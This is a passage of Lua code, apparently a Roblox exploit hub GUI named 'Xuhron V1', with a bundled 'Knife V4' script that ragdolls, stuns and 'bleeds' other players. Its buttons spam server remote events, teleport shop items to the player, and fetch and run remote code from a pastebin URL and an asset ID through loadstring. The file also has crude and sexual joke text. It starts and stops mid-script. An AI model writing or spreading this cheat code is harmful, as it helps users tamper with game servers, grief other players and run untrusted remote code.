Punch.FontSize = Enum.FontSize.Size28 Punch.Text = "Punch auto" Punch.TextSize = 25 Punch.MouseButton1Click:connect (function() local userinput = game:GetService("UserInputService") userinput.InputBegan:connect(function(input) if userinput:GetFocusedTextBox() then return end if input.KeyCode == Enum.KeyCode.R then repeat wait(0.001) local plr = game.Players.LocalPlayer plr.Backpack.ServerTraits.Touch:FireServer(plr.Backpack.Punch, plr.Character.LeftHand,true) plr.Backpack.ServerTraits.Touch:FireServer(plr.Backpack.Punch, plr.Character.LeftHand,true) plr.Backpack.ServerTraits.Touch:FireServer(plr.Backpack.Punch, plr.Character.LeftHand,true) until input.KeyCode == Enum.KeyCode.F end end) end) CLogs.Name = "CLogs" CLogs.Parent = Frame CLogs.BackgroundColor3 = Color3.new(1, 1, 1) CLogs.BackgroundTransparency = 0.60000002384186 CLogs.Position = UDim2.new(0, 238, 0, 351) CLogs.Size = UDim2.new(0, 113, 0, 50) CLogs.Font = Enum.Font.SourceSans CLogs.FontSize = Enum.FontSize.Size28 CLogs.Text = "Chat logs" CLogs.TextSize = 25 CLogs.MouseButton1Click:connect (function() loadstring(game:GetObjects("rbxassetid://1295331911")[1].Source)() end) Machete.Name = "Machete" Machete.Parent = Frame Machete.BackgroundColor3 = Color3.new(1, 1, 1) Machete.BackgroundTransparency = 0.60000002384186 Machete.Position = UDim2.new(0, 438, 0, 351) Machete.Size = UDim2.new(0, 113, 0, 50) Machete.Font = Enum.Font.SourceSans Machete.FontSize = Enum.FontSize.Size28 Machete.Text = "Machete" Machete.TextSize = 25 Machete.MouseButton1Click:connect (function() while true do local chicken = game.Workspace["Machete | $70"].Head chicken.CanCollide = false wait() chicken.CFrame = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame wait(0.5) end end) TextLabel.Parent = Frame TextLabel.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel.BackgroundTransparency = 0.40000000596046 TextLabel.Position = UDim2.new(0, 27, 0, 422) TextLabel.Size = UDim2.new(0, 543, 0, 50) TextLabel.Font = Enum.Font.SourceSans TextLabel.FontSize = Enum.FontSize.Size28 TextLabel.Text = "Xuhron V1 Made By Yn#1341 / Xuhro" TextLabel.TextSize = 28 Player = game.Players.LocalPlayer Mouse = Player:GetMouse() gui = ScreenGui box = Frame Open = false function PressH(key) if (key == "h") then if (Open == false) then box.Visible = true Open = true elseif (Open == true) then box.Visible = false Open = false end end end Mouse.KeyDown:connect(PressH) end) rosehub.Name = "rosehub" rosehub.Parent = ScriptFrame rosehub.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) rosehub.BorderColor3 = Color3.new(0.133333, 0.133333, 0.133333) rosehub.BorderSizePixel = 4 rosehub.Position = UDim2.new(0.68933332, 0, 0.817967713, 0) rosehub.Size = UDim2.new(0, 200, 0, 50) rosehub.Font = Enum.Font.SourceSansItalic rosehub.Text = "RoseHub" rosehub.TextColor3 = Color3.new(0.223529, 0.219608, 0.317647) rosehub.TextSize = 30 rosehub.MouseButton1Down:connect(function() loadstring(game:HttpGet(('https://pastebin.com/raw/XYkUA5RE'),true))() end) gbv4.Name = "gbv4" gbv4.Parent = ScriptFrame gbv4.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) gbv4.BorderColor3 = Color3.new(0.133333, 0.133333, 0.133333) gbv4.BorderSizePixel = 4 gbv4.Position = UDim2.new(0.350451827, 0, 0.817967713, 0) gbv4.Size = UDim2.new(0, 200, 0, 50) gbv4.Font = Enum.Font.SourceSansItalic gbv4.Text = "Knife V4" gbv4.TextColor3 = Color3.new(0.223529, 0.219608, 0.317647) gbv4.TextSize = 30 gbv4.MouseButton1Down:connect(function() local player = game:GetService('Players').LocalPlayer local rightclone = Instance.new('Motor6D') rightclone.Name = "Right Shoulder" rightclone.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) rightclone.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) local leftclone = Instance.new('Motor6D') leftclone.Name = "Left Shoulder" leftclone.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) leftclone.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) local leftlegclone = Instance.new('Motor6D') leftlegclone.Name = "Left Hip" leftlegclone.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) leftlegclone.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) local rightlegclone = Instance.new('Motor6D') rightlegclone.Name = "Right Hip" rightlegclone.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) rightlegclone.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) local torsoclone = Instance.new('Motor6D') torsoclone.Name = "RootJoint" torsoclone.C0 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) torsoclone.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) local mouse = player:GetMouse() local rag1 = false local rag2 = false local firsttime = true local firsttime2 = true local firsttime3 = true local firsttime4 = true local firsttime5 = true local childlock = false local math1 = math.random(1,5) math1 = math1+(math.random(0,9)/10) local math2 = math.random(1,15) math2 = math2+(math.random(0,9)/10) local math3 = math.random(1,10) math3 = math3+(math.random(0,9)/10) local math4 = math.random(5,100) math4 = math4+(math.random(0,9)/10) local answer = (math4+(math1*math3))/(math1*math2) answer = math.floor((answer*10)+0.5) answer = answer/10 print([[To be fair, you have to have a very high IQ to understand Rick and Morty. The humor is extremely subtle, and without a solid grasp of theoretical physics most of the jokes will go over a typical viewer's head. There's also Rick's nihilistic outlook, which is deftly woven into his characterisation - his personal philosophy draws heavily from Narodnaya Volya literature, for instance. The fans understand this stuff; they have the intellectual capacity to truly appreciate the depths of these jokes, to realize that they're not just funny- they say something deep about LIFE. As a consequence people who dislike Rick and Morty truly ARE idiots- of course they wouldn't appreciate, for instance, the humour in Rick's existencial catchphrase "Wubba Lubba Dub Dub," which itself is a cryptic reference to Turgenev's Russian epic Fathers and Sons. I'm smirking right now just imagining one of those addlepated simpletons scratching their heads in confusion as Dan Harmon's genius unfolds itself on their television screens. What fools... how I pity them. And yes by the way, I DO have a Rick and Morty tattoo. And no, you cannot see it. It's for the ladies' eyes only- And even they have to demonstrate that they're within ]]..answer..[[ IQ points of my own (preferably lower) beforehand.]]) local rekt = {} -- Objects local MainGUI = Instance.new("ScreenGui") local Customize = Instance.new("TextButton") local Frame = Instance.new("Frame") local TextLabel = Instance.new("TextLabel") local Frame_2 = Instance.new("Frame") local Frame_3 = Instance.new("Frame") local ImageLabel = Instance.new("ImageLabel") local R = Instance.new("TextBox") local G = Instance.new("TextBox") local B = Instance.new("TextBox") local TextLabel_2 = Instance.new("TextLabel") local TextLabel_3 = Instance.new("TextLabel") local TextLabel_4 = Instance.new("TextLabel") local Slider = Instance.new("Frame") local Slidee = Instance.new("ImageButton") local ChildLock = Instance.new("Frame") local TextLabel_5 = Instance.new("TextLabel") local mathz = Instance.new("TextLabel") local TextBox = Instance.new("TextBox") local Black = Instance.new('Frame') local fps = Instance.new('TextLabel') -- Properties MainGUI.Name = "MainGUI" MainGUI.ResetOnSpawn = false pcall(function() MainGUI.Parent = player.PlayerGui end) pcall(function() MainGUI.Parent = game.CoreGui game.CoreGui.RobloxGui.Backpack.Hotbar.AnchorPoint = Vector2.new(0.5,0.5) game.CoreGui.RobloxGui.Backpack.Hotbar.Position = UDim2.new(0.5,0,0.85,0) end) Customize.Name = "Customize" Customize.Parent = MainGUI Customize.BackgroundColor3 = Color3.new(0, 0.776471, 0.282353) Customize.BorderSizePixel = 0 Customize.Position = UDim2.new(0.15, 0, 0.9, 0) Customize.Size = UDim2.new(0.699999988, 0, 0.100000001, 0) Customize.Font = Enum.Font.SourceSans Customize.FontSize = Enum.FontSize.Size14 Customize.Text = "Customize V4" Customize.TextColor3 = Color3.new(1, 1, 1) Customize.TextScaled = true Customize.TextSize = 14 Customize.TextWrapped = true Frame.Parent = Customize Frame.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706) Frame.BorderSizePixel = 0 Frame.Position = UDim2.new(0, 0, 1, 0) Frame.Size = UDim2.new(1, 0, 6.5, 0) TextLabel.Parent = Frame TextLabel.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel.BackgroundTransparency = 1 TextLabel.Position = UDim2.new(0, 0, 0.100000001, 0) TextLabel.Size = UDim2.new(0.300000012, 0, 0.200000003, 0) TextLabel.Font = Enum.Font.SourceSansLight TextLabel.FontSize = Enum.FontSize.Size14 TextLabel.Text = "Blood Color: [255, 255, 255]" TextLabel.TextColor3 = Color3.new(1, 1, 1) TextLabel.TextScaled = true TextLabel.TextSize = 14 TextLabel.TextWrapped = true TextLabel.TextXAlignment = Enum.TextXAlignment.Right Frame_2.Parent = TextLabel Frame_2.BackgroundColor3 = Color3.new(0.458824, 0, 0) Frame_2.BorderSizePixel = 0 Frame_2.Position = UDim2.new(1.04999995, 0, 0, 0) Frame_2.Size = UDim2.new(1, 0, 1, 0) Frame_2.SizeConstraint = Enum.SizeConstraint.RelativeYY Frame_3.Parent = Frame Frame_3.BackgroundColor3 = Color3.new(1, 1, 1) Frame_3.BackgroundTransparency = 1 Frame_3.BorderSizePixel = 0 Frame_3.Position = UDim2.new(0.0500000007, 0, 0.449999988, 0) Frame_3.Size = UDim2.new(0.5, 0, 0.5, 0) Frame_3.SizeConstraint = Enum.SizeConstraint.RelativeYY ImageLabel.Parent = Frame_3 ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1) ImageLabel.BackgroundTransparency = 1 ImageLabel.Size = UDim2.new(1, 0, 1, 0) ImageLabel.Image = "rbxassetid://328298876" R.Name = "R" R.Parent = Frame_3 R.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) R.BorderSizePixel = 0 R.Position = UDim2.new(1.39999998, 0, 0, 0) R.Size = UDim2.new(0.75, 0, 0.300000012, 0) R.Font = Enum.Font.SourceSans R.FontSize = Enum.FontSize.Size14 R.Text = "Input" R.TextColor3 = Color3.new(1, 1, 1) R.TextScaled = true R.TextSize = 14 R.TextWrapped = true R.TextXAlignment = Enum.TextXAlignment.Left G.Name = "G" G.Parent = Frame_3 G.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) G.BorderSizePixel = 0 G.Position = UDim2.new(1.39999998, 0, 0.349999994, 0) G.Size = UDim2.new(0.75, 0, 0.300000012, 0) G.Font = Enum.Font.SourceSans G.FontSize = Enum.FontSize.Size14 G.Text = "Input" G.TextColor3 = Color3.new(1, 1, 1) G.TextScaled = true G.TextSize = 14 G.TextWrapped = true G.TextXAlignment = Enum.TextXAlignment.Left B.Name = "B" B.Parent = Frame_3 B.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) B.BorderSizePixel = 0 B.Position = UDim2.new(1.39999998, 0, 0.699999988, 0) B.Size = UDim2.new(0.75, 0, 0.300000012, 0) B.Font = Enum.Font.SourceSans B.FontSize = Enum.FontSize.Size14 B.Text = "Input" B.TextColor3 = Color3.new(1, 1, 1) B.TextScaled = true B.TextSize = 14 B.TextWrapped = true B.TextXAlignment = Enum.TextXAlignment.Left TextLabel_2.Parent = Frame_3 TextLabel_2.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel_2.BackgroundTransparency = 1 TextLabel_2.Position = UDim2.new(1.04999995, 0, 0, 0) TextLabel_2.Size = UDim2.new(0.300000012, 0, 0.300000012, 0) TextLabel_2.Font = Enum.Font.SourceSansLight TextLabel_2.FontSize = Enum.FontSize.Size14 TextLabel_2.Text = "R" TextLabel_2.TextColor3 = Color3.new(1, 1, 1) TextLabel_2.TextScaled = true TextLabel_2.TextSize = 14 TextLabel_2.TextWrapped = true TextLabel_3.Parent = Frame_3 TextLabel_3.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel_3.BackgroundTransparency = 1 TextLabel_3.Position = UDim2.new(1.04999995, 0, 0.349999994, 0) TextLabel_3.Size = UDim2.new(0.300000012, 0, 0.300000012, 0) TextLabel_3.Font = Enum.Font.SourceSansLight TextLabel_3.FontSize = Enum.FontSize.Size14 TextLabel_3.Text = "G" TextLabel_3.TextColor3 = Color3.new(1, 1, 1) TextLabel_3.TextScaled = true TextLabel_3.TextSize = 14 TextLabel_3.TextWrapped = true TextLabel_4.Parent = Frame_3 TextLabel_4.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel_4.BackgroundTransparency = 1 TextLabel_4.Position = UDim2.new(1.04999995, 0, 0.699999988, 0) TextLabel_4.Size = UDim2.new(0.300000012, 0, 0.300000012, 0) TextLabel_4.Font = Enum.Font.SourceSansLight TextLabel_4.FontSize = Enum.FontSize.Size14 TextLabel_4.Text = "B" TextLabel_4.TextColor3 = Color3.new(1, 1, 1) TextLabel_4.TextScaled = true TextLabel_4.TextSize = 14 TextLabel_4.TextWrapped = true Slider.Name = "Slider" Slider.Parent = Frame Slider.BackgroundColor3 = Color3.new(0.121569, 0.121569, 0.121569) Slider.Position = UDim2.new(0.0500000007, 0, 0.375, 0) Slider.Size = UDim2.new(0.230000004, 0, 0.00999999978, 0) Slidee.Name = "Slidee" Slidee.Parent = Slider Slidee.AnchorPoint = Vector2.new(0.5, 0.5) Slidee.BackgroundColor3 = Color3.new(0.0941177, 0.0941177, 0.0941177) Slidee.BorderSizePixel = 0 Slidee.Size = UDim2.new(0.0299999993, 0, 7, 0) Slidee.ImageTransparency = 1 ChildLock.Name = "ChildLock" ChildLock.Parent = Frame ChildLock.Active = true ChildLock.BackgroundColor3 = Color3.new(0, 0, 0) ChildLock.BackgroundTransparency = 0.60000002384186 ChildLock.BorderSizePixel = 0 ChildLock.Position = UDim2.new(0.600000024, 0, 0, 0) ChildLock.Size = UDim2.new(0.400000006, 0, 1, 0) ChildLock.ZIndex = 2 TextLabel_5.Parent = ChildLock TextLabel_5.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel_5.BackgroundTransparency = 1 TextLabel_5.BorderSizePixel = 0 TextLabel_5.Position = UDim2.new(0.125, 0, 0.150000006, 0) TextLabel_5.Size = UDim2.new(0.75, 0, 0.200000003, 0) TextLabel_5.ZIndex = 3 TextLabel_5.Font = Enum.Font.SourceSans TextLabel_5.FontSize = Enum.FontSize.Size14 TextLabel_5.Text = "do this math to disable child lock" TextLabel_5.TextColor3 = Color3.new(1, 1, 1) TextLabel_5.TextScaled = true TextLabel_5.TextSize = 14 TextLabel_5.TextWrapped = true mathz.Name = "mathz" mathz.Parent = ChildLock mathz.BackgroundColor3 = Color3.new(1, 1, 1) mathz.BackgroundTransparency = 1 mathz.Position = UDim2.new(0.125, 0, 0.449999988, 0) mathz.Size = UDim2.new(0.75, 0, 0.200000003, 0) mathz.ZIndex = 3 mathz.Font = Enum.Font.SourceSans mathz.FontSize = Enum.FontSize.Size14 mathz.Text = math1.."("..math2.."r - "..math3..") = "..math4 mathz.TextColor3 = Color3.new(1, 1, 1) mathz.TextScaled = true mathz.TextSize = 14 mathz.TextWrapped = true fps.Name = "fps" fps.Parent = Frame fps.BackgroundColor3 = Color3.new(1, 1, 1) fps.BackgroundTransparency = 1 fps.Size = UDim2.new(0.75, 0, 0.05, 0) fps.ZIndex = 3 fps.Font = Enum.Font.SourceSansLight fps.FontSize = Enum.FontSize.Size14 fps.Text = "FPS: N/A" fps.TextColor3 = Color3.new(1, 1, 1) fps.TextScaled = true fps.TextSize = 14 fps.TextWrapped = true fps.TextXAlignment = Enum.TextXAlignment.Left TextBox.Parent = ChildLock TextBox.BackgroundColor3 = Color3.new(0.137255, 0.137255, 0.137255) TextBox.BorderSizePixel = 0 TextBox.Position = UDim2.new(0.200000003, 0, 0.699999988, 0) TextBox.Size = UDim2.new(0.600000024, 0, 0.200000003, 0) TextBox.ZIndex = 3 TextBox.Font = Enum.Font.SourceSans TextBox.FontSize = Enum.FontSize.Size14 TextBox.Text = "Answer (rounded to nearest tenth)" TextBox.TextColor3 = Color3.new(1, 1, 1) TextBox.TextScaled = true TextBox.TextSize = 14 TextBox.TextWrapped = true TextBox.TextXAlignment = Enum.TextXAlignment.Left Black.Size = UDim2.new(1,0,1,0) Black.BackgroundTransparency = 1 Black.BorderSizePixel = 0 Black.BackgroundColor3 = Color3.new(0,0,0) Black.Parent = Frame_3 TextBox.FocusLost:connect(function() if TextBox.Text == tostring(answer) or TextBox.Text == "r="..tostring(answer) or TextBox.Text == "r= "..tostring(answer) or TextBox.Text == "r = "..tostring(answer) or TextBox.Text == "r= "..tostring(answer) or TextBox.Text == tostring(answer).."=r" or TextBox.Text == tostring(answer).." =r" or TextBox.Text == tostring(answer).."= r" or TextBox.Text == tostring(answer).." = r" then ChildLock:Destroy() childlock = false notify("Child lock disabled, press B to enable dildo mode.",true) end end) local mousedown = false mouse.Button1Down:connect(function() mousedown = true end) mouse.Button1Up:connect(function() mousedown = false slidee = false end) Slidee.MouseButton1Down:connect(function() slidee = true end) Slidee.MouseButton1Up:connect(function() slidee = false end) mouse.Move:connect(function() if mousedown then if mouse.X >= ImageLabel.AbsolutePosition.X and mouse.X <= ImageLabel.AbsolutePosition.X+ ImageLabel.AbsoluteSize.X and mouse.Y >= ImageLabel.AbsolutePosition.Y and mouse.Y <= ImageLabel.AbsolutePosition.Y+ ImageLabel.AbsoluteSize.Y then local newX = ImageLabel.AbsoluteSize.X-(mouse.X-ImageLabel.AbsolutePosition.X) local newY = ImageLabel.AbsoluteSize.Y-(mouse.Y-ImageLabel.AbsolutePosition.Y) local newcolor = Color3.fromHSV(newX/ImageLabel.AbsoluteSize.X,newY/ImageLabel.AbsoluteSize.Y,Black.Transparency) Frame_2.BackgroundColor3 = newcolor TextLabel.Text = "Blood Color: ["..math.floor(255*newcolor.r)..", "..math.floor(255*newcolor.g)..", "..math.floor(255*newcolor.b).."]" end end if slidee then local ree = mouse.X if ree < Slider.AbsolutePosition.X then ree = Slider.AbsolutePosition.X elseif ree > Slider.AbsolutePosition.X+Slider.AbsoluteSize.X then ree = Slider.AbsolutePosition.X+Slider.AbsoluteSize.X end Slidee.Position = UDim2.new(0,ree-Slider.AbsolutePosition.X,0,0) Black.Transparency = 1-(Slidee.Position.X.Offset/Slider.AbsoluteSize.X) end end) R.FocusLost:connect(function() if R.Text ~= "Input" then if tonumber(R.Text) then if tonumber(R.Text) > 255 then R.Text = "255" end local newcolor = Color3.new(tonumber(R.Text/255),Frame_2.BackgroundColor3.g,Frame_2.BackgroundColor3.b) Frame_2.BackgroundColor3 = newcolor TextLabel.Text = "Blood Color: ["..math.floor(255*newcolor.r)..", "..math.floor(255*newcolor.g)..", "..math.floor(255*newcolor.b).."]" R.Text = "Input" end end end) G.FocusLost:connect(function() if G.Text ~= "Input" then if tonumber(G.Text) then if tonumber(G.Text) > 255 then G.Text = "255" end local newcolor = Color3.new(Frame_2.BackgroundColor3.r,tonumber(G.Text/255),Frame_2.BackgroundColor3.b) Frame_2.BackgroundColor3 = newcolor TextLabel.Text = "Blood Color: ["..math.floor(255*newcolor.r)..", "..math.floor(255*newcolor.g)..", "..math.floor(255*newcolor.b).."]" G.Text = "Input" end end end) B.FocusLost:connect(function() if B.Text ~= "Input" then if tonumber(B.Text) then if tonumber(B.Text) > 255 then B.Text = "255" end local newcolor = Color3.new(Frame_2.BackgroundColor3.r,Frame_2.BackgroundColor3.g,tonumber(B.Text/255)) Frame_2.BackgroundColor3 = newcolor TextLabel.Text = "Blood Color: ["..math.floor(255*newcolor.r)..", "..math.floor(255*newcolor.g)..", "..math.floor(255*newcolor.b).."]" B.Text = "Input" end end end) local open = false local opening = false Customize.MouseButton1Click:connect(function() if opening == false then if open == false then open = true opening = true Customize:TweenPosition(UDim2.new(0.15, 0, 0.1, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quint,1) wait(1) opening = false else open = false opening = true Customize:TweenPosition(UDim2.new(0.15, 0, 0.9, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quint,1) wait(1) opening = false end end end) Frame_2.BackgroundColor3 = Color3.fromRGB(117,0,0) function removewelds(part) for i,v in pairs(part:GetChildren()) do if v:IsA('Weld') then v:Destroy() end end end function notify(msg,remove) local coru= coroutine.wrap(function() for i,v in pairs(MainGUI:GetChildren()) do if v:IsA('TextLabel') then v:Destroy() end end if msg then local TextLabel = Instance.new("TextLabel") local Frame = Instance.new("Frame") -- Properties TextLabel.Parent = MainGUI TextLabel.BackgroundColor3 = Color3.new(0.227451, 0.227451, 0.227451) TextLabel.BorderSizePixel = 0 TextLabel.Position = UDim2.new(0.25, 0, 0.05, -10) TextLabel.Size = UDim2.new(0.5, 0, 0.1, 0) TextLabel.Font = Enum.Font.SourceSans TextLabel.FontSize = Enum.FontSize.Size60 TextLabel.TextColor3 = Color3.new(1, 1, 1) TextLabel.TextSize = 50 TextLabel.Transparency = 1 TextLabel.TextScaled = true TextLabel.TextYAlignment = Enum.TextYAlignment.Top TextLabel.Text = "" TextLabel.TextXAlignment = Enum.TextXAlignment.Left Frame.Parent = TextLabel Frame.BackgroundColor3 = Color3.new(0.192157, 0.192157, 0.192157) Frame.BorderSizePixel = 0 Frame.Transparency = 1 Frame.Position = UDim2.new(0, 0, 1,0) Frame.Size = UDim2.new(1, 0, 0, 5) for i=1,10 do TextLabel.Transparency = TextLabel.Transparency-0.1 TextLabel.Position = TextLabel.Position+UDim2.new(0,0,0,1) Frame.Transparency = Frame.Transparency-0.1 wait() end for i=1,#msg do TextLabel.Text = string.sub(msg,1,i) wait() end wait(1) if remove ~= true then for i=1,10 do TextLabel.Transparency = TextLabel.Transparency+0.1 TextLabel.Position = TextLabel.Position-UDim2.new(0,0,0,1) Frame.Transparency = Frame.Transparency+0.1 wait() end TextLabel:Destroy() end end end) coru() end if workspace.FilteringEnabled == false then if workspace:PGSIsEnabled() then notify('Press Z to equip. Created by mustardfoot and Tollonis.',true) else notify('(this game is really old or something and has the shitty physics so a lot of things wont work sorry) Press Z to equip. Created by mustardfoot and Tollonis.',true) end else notify('LOL this game has filtering enabled so it literally wont work here') end local handProperties = { {"LimitsEnabled", true}; {"UpperAngle",0}; {"LowerAngle",0}; } local shinProperties = { {"LimitsEnabled", true}; {"UpperAngle", 0}; {"LowerAngle", -75}; } local footProperties = { {"LimitsEnabled", true}; {"UpperAngle", 15}; {"LowerAngle", -45}; } function bleed(frick,OwO) while frick.Parent ~= nil and frick.Parent.Parent ~= nil do local reeee = coroutine.wrap(function() local thing = Instance.new('Part',workspace) thing.Size = Vector3.new(0.2,0.2,0.2) thing.CFrame = frick.CFrame thing.Transparency = 1 thing.BrickColor = BrickColor.new(Frame_2.BackgroundColor3) thing.Material = Enum.Material.SmoothPlastic thing.Name = "Blood" thing.CanCollide =false thing:BreakJoints() local rawrxd = Instance.new('BodyForce',thing) rawrxd.Force = frick.CFrame.upVector*(math.random()*2)+Vector3.new(math.random(-5, 5)/10,1.5,0) local coru = coroutine.wrap(function() wait(0.01) rawrxd:Destroy() end) coru() local ree = Instance.new('ParticleEmitter',thing) if OwO ~= true then ree.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,Frame_2.BackgroundColor3),ColorSequenceKeypoint.new(1,Frame_2.BackgroundColor3)}) else ree.Color = ColorSequence.new({ColorSequenceKeypoint.new(0,Color3.new(1,1,1)),ColorSequenceKeypoint.new(1,Color3.new(1,1,1))}) end ree.Size = NumberSequence.new({NumberSequenceKeypoint.new(0,0.1),NumberSequenceKeypoint.new(1,0.1)}) ree.Texture = 'rbxassetid://867743272' ree.Lifetime = NumberRange.new(0.4) ree.Rate = 50 ree.LockedToPart = true ree.Speed = NumberRange.new(0, 2) thing.Touched:connect(function(tou) if tou.Parent and tou.Parent:IsA('Tool') == false and tou.Parent.Parent:FindFirstChildOfClass('Humanoid') == nil and tou.Parent:FindFirstChildOfClass('Humanoid') == nil and tou.Name ~= "Blood" and tou.Parent.Name ~= "Projectile" and tou.Parent.Name ~= "big ass knife" and tou.Parent ~= player.Character and tou.Parent.ClassName ~= "Accessory" and tou.Parent.Name ~= "bitch ass knife" and tou.Parent.Name ~= 'handle' and tou.Name ~= "blade" and tou.Name ~= 'handle' and tou.Name ~= "Projectile" and tou.Parent.Name ~= "Projectile" then local pos = Vector3.new(thing.Position.X,(tou.Position.Y+(tou.Size.Y/2))+0.02,thing.Position.Z) local Point1 = pos-Vector3.new(0.01,0.01,0.01) local Point2 = pos+Vector3.new(0.01,0.01,0.01) local Region = Region3.new(Point1,Point2) for _,Part in pairs(game.Workspace:FindPartsInRegion3(Region,nil,math.huge)) do if Part.Name == "BloodPuddle" then tou = Part end end thing:Destroy() if tou.Name == "BloodPuddle" then if tou.Size.X < 1 then pcall(function() tou.Sound:Play() end) end local reee = tou.CFrame if tou.Transparency > -0.2 then tou.Transparency = tou.Transparency -0.1 end if tou.Size.X < 5 then tou.Size = tou.Size+Vector3.new(0.1,0,0.1) tou.CFrame = reee end elseif tou.CanCollide == true then local bloodlol = Instance.new('Part',workspace) local sound = Instance.new('Sound',bloodlol) sound.SoundId = 'rbxassetid://685857471' sound.Volume = 0.025 sound:Play() bloodlol.Size=Vector3.new(1,0.2,1) bloodlol.Name = "BloodPuddle" bloodlol.Anchored = true bloodlol.CanCollide = false bloodlol.Material = Enum.Material.SmoothPlastic if OwO ~= true then bloodlol.Color = Frame_2.BackgroundColor3 else bloodlol.Color = Color3.new(1,1,1) end local cyl = Instance.new('CylinderMesh',bloodlol) cyl.Scale = Vector3.new(1,0.1,1) bloodlol.CFrame = CFrame.new(pos) local coru=coroutine.wrap(function() while bloodlol.Parent ~= nil do if bloodlol.Transparency < 1 then bloodlol.Transparency = bloodlol.Transparency+0.05 else bloodlol:Destroy() end wait(0.1) end end) coru() end end end) local coru = coroutine.wrap(function() wait(1) thing:Destroy() end) coru() end) reeee() wait() end end function stun(char) local found = false pcall(function() char:FindFirstChildOfClass('Humanoid'):ChangeState(Enum.HumanoidStateType.Physics) end) for i,v in pairs(rekt) do if v == char then found = true end end if found == false then table.insert(rekt,char) end end function unstun(char) for i,v in pairs(rekt) do if v == char then if v:FindFirstChildOfClass('Humanoid') and v:FindFirstChildOfClass('Humanoid').Health>0 then v:FindFirstChildOfClass('Humanoid'):ChangeState(Enum.HumanoidStateType.Running) v:FindFirstChildOfClass('Humanoid').PlatformStand = false v:FindFirstChildOfClass('Humanoid').Sit = false v:FindFirstChildOfClass('Humanoid').Jump = true v:FindFirstChildOfClass('Humanoid').JumpPower = 50 v:FindFirstChildOfClass('Humanoid').WalkSpeed = 16 v:FindFirstChildOfClass('Humanoid').Name = "Humanoid" end table.remove(rekt,i) end end end function recurse(root,callback,i) i= i or 0 for _,v in pairs(root:GetChildren()) do i = i + 1 callback(i,v) if #v:GetChildren() > 0 then i = recurse(v,callback,i) end end return i end function ragdollJoint(character, part0, part1, attachmentName, className, properties) if character:FindFirstChild("RagdollConstraint"..part1.Name) == nil then if character:FindFirstChild('HumanoidRootPart')then character.HumanoidRootPart.CanCollide = false end for i,v in pairs(character:GetChildren()) do if v:IsA("MeshPart") and (v.MeshId == 'http://www.roblox.com/asset/?id=553602991' or v.MeshId == 'http://www.roblox.com/asset/?id=553602977' or v.MeshId == 'http://www.roblox.com/asset/?id=553602987') then v.Size = Vector3.new(1,1,1) end end recurse(character, function(_,v) if v:IsA("Attachment") and v.Parent.Name ~= "ayybleed" then v.Axis = Vector3.new(0, 1, 0) v.SecondaryAxis = Vector3.new(0, 0, 1) v.Rotation = Vector3.new(0, 0, 0) end end) if part1:FindFirstChildOfClass('Motor6D') then part1:FindFirstChildOfClass('Motor6D'):Destroy() end if attachmentName ~= "NeckAttachment" then attachmentName = attachmentName.."RigAttachment" end local constraint = Instance.new(className.."Constraint") constraint.Attachment0 = part0:FindFirstChild(attachmentName) constraint.Attachment1 = part1:FindFirstChild(attachmentName) constraint.Name = "RagdollConstraint"..part1.Name if character:FindFirstChildOfClass('Humanoid').Health > 0 then local collidepart = Instance.new('Part',part1) collidepart.Size = part1.Size/2 if string.find(string.lower(part1.Name),"upper") then if string.find(string.lower(part1.Name),"leg") then collidepart.Size = part1.Size/3 else collidepart.Size = part1.Size/2.5 end end collidepart.CanCollide = true collidepart.Name = "Collision" collidepart.Anchored = false collidepart.Transparency = 1 collidepart.CFrame = part1.CFrame collidepart:BreakJoints() local attachment0 = Instance.new('Attachment',part1) local attachment1 = Instance.new('Attachment',collidepart) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = character end if string.find(string.lower(part1.Name),"upper") then if string.find(string.lower(part1.Name),"leg") then attachment0.Position = Vector3.new(0,0.01,0) else attachment0.Position = Vector3.new(0,0.25,0) end else attachment0.Position = Vector3.new(0,-0.1,0) end end for _,propertyData in next,properties or {} do constraint[propertyData[1]] = propertyData[2] end constraint.Parent = character end end function R6ragdollJoint(character,limbname,attached,heded) pcall(function() if limbname == "Right Arm" and character:FindFirstChild("Right Arm") and character:FindFirstChild("Torso") and character.Torso:FindFirstChild("Right ArmRagdollConstraint") == nil and character[limbname]:FindFirstChild("Right ArmRagdollConstraint") == nil then local torsoatt = Instance.new('Attachment',character.Torso) torsoatt.Name = limbname.."RagdollConstraint" torsoatt.Position = Vector3.new(1.45,0.768,-0.009) torsoatt.Axis = Vector3.new(1,0,0) torsoatt.SecondaryAxis = Vector3.new(0,1,0) local limbatt = Instance.new("Attachment",character[limbname]) limbatt.Position = Vector3.new(-0.086, 0.755, -0.007) limbatt.Name = 